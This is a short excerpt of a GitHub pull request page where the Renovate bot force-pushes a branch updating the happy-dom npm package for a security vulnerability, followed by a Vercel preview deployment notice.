renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from da917bd to 5e0e6f6 Compare September 7, 2026 20:04
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 5e0e6f6 to 9a27607 Compare September 10, 2026 19:16

This branch was successfully deployed

1 active deployment
Preview — b377737d Deployed Oct 29, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants